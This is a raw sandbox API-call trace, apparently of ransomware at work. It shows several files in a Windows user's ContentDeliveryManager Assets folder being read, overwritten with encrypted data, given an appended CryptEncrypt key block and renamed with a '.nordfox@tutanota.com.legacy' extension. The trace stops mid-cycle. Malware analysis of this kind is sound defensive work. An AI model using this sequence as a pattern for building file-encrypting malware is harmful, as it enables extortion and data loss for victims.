[0171.952] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45", dwFileAttributes=0x80) returned 1 [0171.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618a00 [0171.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5a18 [0171.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618a00 | out: hHeap=0x520000) returned 1 [0171.953] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.953] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16972) returned 1 [0171.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x424c) returned 0x30d1028 [0171.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x424c) returned 0x30d5280 [0171.953] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x424c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x424c, lpOverlapped=0x0) returned 1 [0171.966] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.966] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5280*, nNumberOfBytesToWrite=0x424c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5280*, lpNumberOfBytesWritten=0x2e1f9bc*=0x424c, lpOverlapped=0x0) returned 1 [0171.966] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.966] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5280 | out: hHeap=0x520000) returned 1 [0171.966] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x424c [0171.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.966] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.967] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.967] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.967] CloseHandle (hObject=0x1830) returned 1 [0171.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0171.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0171.967] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3fd7221262d4b2523ae9a6f8daeec21a06a8be356d1e0bf940c7012dae68bb45.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5a18 | out: hHeap=0x520000) returned 1 [0171.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618b68 | out: hHeap=0x520000) returned 1 [0171.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618cd0 | out: hHeap=0x520000) returned 1 [0171.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618b68 [0171.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0171.969] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.969] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0171.969] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745", dwFileAttributes=0x80) returned 1 [0171.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619db0 [0171.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5178 [0171.973] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619db0 | out: hHeap=0x520000) returned 1 [0171.973] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.973] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2291) returned 1 [0171.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8f3) returned 0x2f74cc0 [0171.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8f3) returned 0x33b6018 [0171.973] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x8f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x8f3, lpOverlapped=0x0) returned 1 [0171.980] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-2291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.980] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x8f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8f3, lpOverlapped=0x0) returned 1 [0171.980] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.980] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.980] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8f3 [0171.980] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.980] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.981] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.981] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.981] CloseHandle (hObject=0x1830) returned 1 [0171.981] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.981] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0171.981] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\35f89b4b9e467bc7de0cfaff3019ebc9644123f2acf37c4dfb22e8c60d4e4745.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5178 | out: hHeap=0x520000) returned 1 [0171.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618b68 | out: hHeap=0x520000) returned 1 [0171.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618e38 | out: hHeap=0x520000) returned 1 [0171.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619978 [0171.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.990] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.990] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.990] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd", dwFileAttributes=0x80) returned 1 [0171.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619810 [0171.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4488 [0171.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619810 | out: hHeap=0x520000) returned 1 [0171.990] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.990] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1011) returned 1 [0171.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f3) returned 0x2f74cc0 [0171.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f3) returned 0x2f750c0 [0171.991] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0171.992] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.992] WriteFile (in: hFile=0x1830, lpBuffer=0x2f750c0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f750c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0171.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.992] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f750c0 | out: hHeap=0x520000) returned 1 [0171.992] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f3 [0171.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.992] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.992] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.992] CloseHandle (hObject=0x1830) returned 1 [0171.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.993] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\33b80b77ad0b63074a6e2d6d52c5022ef09645fe923adea0b00d0886b3707cdd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4488 | out: hHeap=0x520000) returned 1 [0171.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619978 | out: hHeap=0x520000) returned 1 [0171.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618fa0 | out: hHeap=0x520000) returned 1 [0171.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618460 [0171.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0171.994] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.994] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0171.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8", dwFileAttributes=0x80) returned 1 [0171.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619f18 [0171.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5a18 [0171.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619f18 | out: hHeap=0x520000) returned 1 [0171.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.995] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16779) returned 1 [0171.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x418b) returned 0x30d1028 [0171.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x418b) returned 0x30d51c0 [0171.995] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x418b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x418b, lpOverlapped=0x0) returned 1 [0172.001] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.001] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51c0*, nNumberOfBytesToWrite=0x418b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418b, lpOverlapped=0x0) returned 1 [0172.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0172.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51c0 | out: hHeap=0x520000) returned 1 [0172.001] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418b [0172.001] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.001] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.002] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.002] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.002] CloseHandle (hObject=0x1830) returned 1 [0172.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0172.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0172.002] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3342109535f710219f1781d2bc144e381a38719da81d2754d39683cb295271f8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0172.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5a18 | out: hHeap=0x520000) returned 1 [0172.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618460 | out: hHeap=0x520000) returned 1 [0172.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619108 | out: hHeap=0x520000) returned 1 [0172.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619ae0 [0172.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0172.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0172.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.004] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216", dwFileAttributes=0x80) returned 1 [0172.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619c48 [0172.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0172.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619c48 | out: hHeap=0x520000) returned 1 [0172.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0172.005] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1538) returned 1 [0172.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x602) returned 0x2f74cc0 [0172.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x602) returned 0x33b6018 [0172.005] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x602, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x602, lpOverlapped=0x0) returned 1 [0172.019] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.019] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x602, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x602, lpOverlapped=0x0) returned 1 [0172.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0172.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0172.019] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x602 [0172.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 